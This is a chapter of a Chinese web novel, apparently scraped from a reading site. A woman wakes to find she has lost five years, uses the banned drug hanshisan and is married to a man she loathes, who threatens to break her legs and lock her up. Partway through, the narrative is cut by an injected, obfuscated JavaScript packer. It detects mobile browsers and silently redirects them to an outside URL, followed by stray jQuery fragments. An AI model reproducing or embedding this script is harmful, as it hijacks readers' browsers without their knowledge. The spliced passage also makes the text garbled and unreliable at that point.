默认冷灰
24号文字
方正启体

2. 前尘惘惘浑忘却

作者:沪夏本书字数:K更新时间:
    江浸月不愿醒来,她后脑仿佛被重锤击打过般钝痛。房间里苦涩、辛辣的味道始终散不掉。


    她猛地睁眼,眼前仍然是暗红色帷幔,不愿相信一般地闭上眼睛,又认命地爬起来。


    夭寿了!!她只是睡了一觉而已,怎么醒来之后平白无故地老了五岁!!


    五年后的自己竟然还吸食寒食散。


    那可是寒食散!!这东西是圣人极为厌恶的,所以早就被禁了。


    江浸月有种巴掌打不到对方脸上的无力感,她被这屋子里的味道熏得喘不上来,又气得不行,怒其不争地拧了自己胳膊一下。


    从昨天晚上到现在,她消化了一天一夜,还是不愿意相信,面前这个吸着寒食散,骨头里仿佛都散发着腐朽味道的人是自己。


    她爹娘呢?怀安哥哥呢?


    江浸月被屋内的味道刺激地直喘,她咬住嘴唇,大夫说这东西有瘾,不能碰的。


    她蒙起被子,眼泪止不住地流下来。


    户部尚书的小女儿,圣人宠妃的妹妹,外祖父家还是江南一带赫赫有名的富商,她自小是要什么有什么,只要她说想要,天上的月亮恨不得都给她摘下来。


    还有一个青梅竹马的将军之子戚怀安,想到他,江浸月更想哭了。


    他说过要保护自己一辈子的,他说要请圣上赐婚的。


    呸呸呸!男人说过的话都不作数!


    江浸月瞥到床上的两套枕褥,这些都罢了,主要是她嫁的还是她最为厌弃的人!!!


    成黔,想到这两个字她都觉得恶心。


    说起成黔,在江浸月这里简直有十宗罪。


    二人,一个身处朝堂,一个养于闺中,本来是无甚交集,只是她本来就不是什么循规蹈矩的大家闺秀,早些年女扮男装出去闯了不少的祸。


    也的的确确因为误会对他态度不好了些,可他一个大男人何必如此斤斤计较。


    她不就是拒绝过他的求爱么,至于那么多年都耿耿于怀吗!


    因为新科状元一句“江浸月空有皮囊胸无点墨”被多少世家女嘲笑,更别说被丢下花船成了落汤鸡,害她被山匪追杀,官场之上甚至也与父亲作对……


    过去种种,早就结下梁子。


    定是他求爱不成,因爱生恨,因爱生妒!才强取豪夺。


    正想着,门外突然传来环佩叮咚。


    “夫人醒了。”声音格外谨慎小心。


    “进来吧。”江浸月认命地叹口气,唤人进来。


    丫鬟叫佩婷,看上去特别怕她,就像她是什么洪水猛兽似的。


    江浸月自觉自己脾气算不得好,但也不会平白无故打骂下人啊,这佩婷怎么怕成这个样子。


    她抬手指了下窗子,“开一下窗。”


    佩婷吓得瑟缩,又连忙道,“夫人,您近日染了风寒,大夫说您吹不得风。”


    江浸月无奈收回手,“成吧。”


    佩婷似乎有些诧异,今日夫人怎么这么好说话,小心翼翼地看了她一眼,跟江浸月的一双美目对上,又连忙低下头。


    跟老鼠怕猫似的,江浸月让她扶着自己下床,“梳妆吧。”


    镜子前面的自己还是很好看的,可能是天赋异禀吧,根据丫鬟所说她已经用寒食散很长时间了,上了妆还是这般美丽迷人。


    镜子里面,眉眼如画,肌肤胜雪,比起之前,倒还多了几分娇羞和妩媚。


    这样看来,是不愁吃喝的。江浸月欣赏了一下自己的美貌,又恶狠狠地想,定是成黔待她极为不好,她才会整天服食寒食散,如此消极度日。


    她觉得发簪不好看,太素净,抽出首饰匣子,却带出来一堆信。


    “啪嗒!”首饰散了一地,佩婷忙伸手去捡。


    江浸月倒是愣住了,这些哪是什么信,全写着【和离书】。


    和离书??


    看字迹是她的,她就知道!嫁给成黔绝非自己所愿,自己肯定是早就想和他和离了,和什么离,像成黔这样脾气又差,又阴暗,又讨人厌的男人,就应给一封休书给打发走!


    和离书一封又一封,除了日期不太一样,里面内容大差不差,只是只有她自己的签名。


    这些江浸月倒不觉得奇怪,里面还有几封信,是庄沉燕的。


    庄沉燕这个小妮子不是平日里跟在夏清羽后面姐姐长姐姐短的,怎么给她写信。


    果然,不是什么好东西。


    【怀安哥哥成婚了,可惜姐姐不能来。】


    当然前面还有一些关切的废话,都是铺垫。


    最重要的应该是最后这句。


    戚怀安成婚了???


    佩婷小心翼翼地将簪子递到江浸月跟前,“夫人,您看簪这个成吗?”


    江浸月长长地舒口气,问道,“戚怀安成婚了?”


    “夫人……戚将军成婚三年有余。”佩婷声音又小了几分,跟蝇头苍蝇似的。


    也是,也是。


    她都成婚四年了,人家也不能给她守身如玉一辈子。


    江浸月现在满脑子想的都是成黔如何强取豪夺才把她娶到手的,她试探地问道,“我和成黔是如何成婚的?”


    “夫人...我是上月过来的,不太清楚。”佩婷摇摇头,谨慎道。


    佩婷目光闪烁,江浸月一看就另有隐情,她道,“没事,你说。”


    后来实在没法,江浸月一拍桌子,“砰!”


    装作一副怒意的样子,“快!说!”


    佩婷连忙跪下来,说她如何如何求爹娘同意成婚的,怎么大胆求爱闹得满城风雨的。


    “哈?”是我疯了还是你疯了。


    “大人。”


    “大人。”门外传来丫鬟小厮问候,以及脚步声。


    江浸月愣了一秒,屋外进来一个人。


    高瘦挺拔,一身玄色朝服,随着他的步伐微微摆动,凌厉、冷峻,江浸月指尖颤了颤。


    成黔?他这么高吗?


    江浸月有点不太相信自己的眼睛,面前这个人是成黔?怎么样都跟之前那个黑瘦黑瘦的讨厌鬼沾不上边吧。


    俊朗、矜贵、卓然。


    若是因为美色,江浸月想了想,自己有没有可能会……屈服?


    “江浸月,你又怎么了?”


    哦,是他。


    江浸月死鱼眼,嘴唇抿起,只有成黔在这里说话,才会这么讨厌。


    成黔轻嗅了一下,在房间里扫视,眼神锐利,带着种说不清的威严,不知怎的,江浸月有点怕。


    他眉头锁得紧紧的,“江浸月。”他靠近,“我是不是说过,再碰那东西,我就……”


    “就怎么样?和离?”江浸月最讨厌别人用这种威胁的语气跟她说话,尤其是成黔。


    成黔突然笑了,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365543|199822||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    但他笑起来也阴气森森的,他拽住江浸月的手腕,靠近,“我就打断你的腿,把你锁在屋子里。”


    “滚开!”他突然靠近,江浸月耳边激起了一阵鸡皮疙瘩,她一步一步往后退,最后避无可避,退到了床上。


    不知道什么时候,佩婷已经下去了,这里只有他们两个人。


    “你怕什么?”


    成黔目光扫到桌上的和离书,嘴唇绷成一条直线,他紧贴着她的耳朵,用气音道,“晚上,你不是很热情吗?”


    他什么意思,他们已经那个了?对,他们是夫妻,天呐,她竟然和……


    江浸月看着面前这张脸,脑海里闪过一些画面,又猛地摇头。


    “啊!!!”江浸月一把将他推开,“成黔!我告诉你!你再靠近我就……我就找我姐姐!让圣人治你的罪!”


    成黔没有一丝一毫的害怕,他目光盯着她的唇,缓缓收回了手上的力,冷淡道,“你又发什么疯。”


    江浸月跳出来,一只手指着他,“你这个登徒子!小人!你……”她其实没怎么骂过人,一般也没人敢惹她不高兴,说两句就说不出来了。


    “咕咕咕咕”


    空气有些尴尬。


    江浸月肚子叫了。


    成黔沉默两秒,“先用膳吧。”


    说完他人就走了。


    接着,佩婷带着江浸月去了花厅,去吃饭。


    这一路,可真是长见识了。


    飞檐斗拱,雕梁画栋,花木扶疏,满园飘香。


    她自小见识颇多,可这府上的一些东西虽说算不得什么上好材质,胜在巧,精美别致,


    格外合她心意。


    “我每次用膳……都走这么远吗?”江浸月累了。


    佩婷道,“平日夫人都在咱们自己院里的,大人说要清理房间,移步到花厅用膳。”


    江浸月想了想,应该是要搜查一下有没有遗漏的寒食散,她昨天就扔了,实在是味道太冲,她怕自己上来瘾再用了。


    到了花厅,坐了一会儿,成黔才姗姗来迟。


    他换了素色常服,看上去年轻了几岁,江浸月却无欣赏之意,只嘟囔了一句,“懒驴上磨……”


    “你说什么?”


    “我说饿啊!饿死了!”


    成黔冷笑,“你不是靠寒食散活着吗?”


    江浸月翻了个白眼,若不是她与他成婚,怎么会活成这个鬼样子。


    鲈鱼脍、白玉卷、珍珠丸、八宝鸭……都是她爱吃的。


    食不言寝不语,天大地大吃饭最大,江浸月低头享用美食。


    成黔有些诧异,若是以往,江浸月从坐下开始就会挑刺,没有人能安安分分地吃一顿好饭。


    突然,门口传来动静。


    “少爷!少爷!别跑!”


    一个半大的孩子从门口跌跌撞撞跑进来。他有些急切地拿着一张纸,上面有墨色字迹,一边拿着一边道,“给……给……”


    话都说不利索的小屁孩。


    江浸月一惊,猛地站起来,不是吧?!


    她看着成黔,他俩,有孩子了?


    “大人……”门口的婆婆看着江浸月跟见了鬼一样,连忙抱着孩子低头,“夫人……夫人,我们马上离开!”


    “等会儿!”江浸月让人先别走,别的先暂且搁置。


    她生的孩子,得好好看看!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)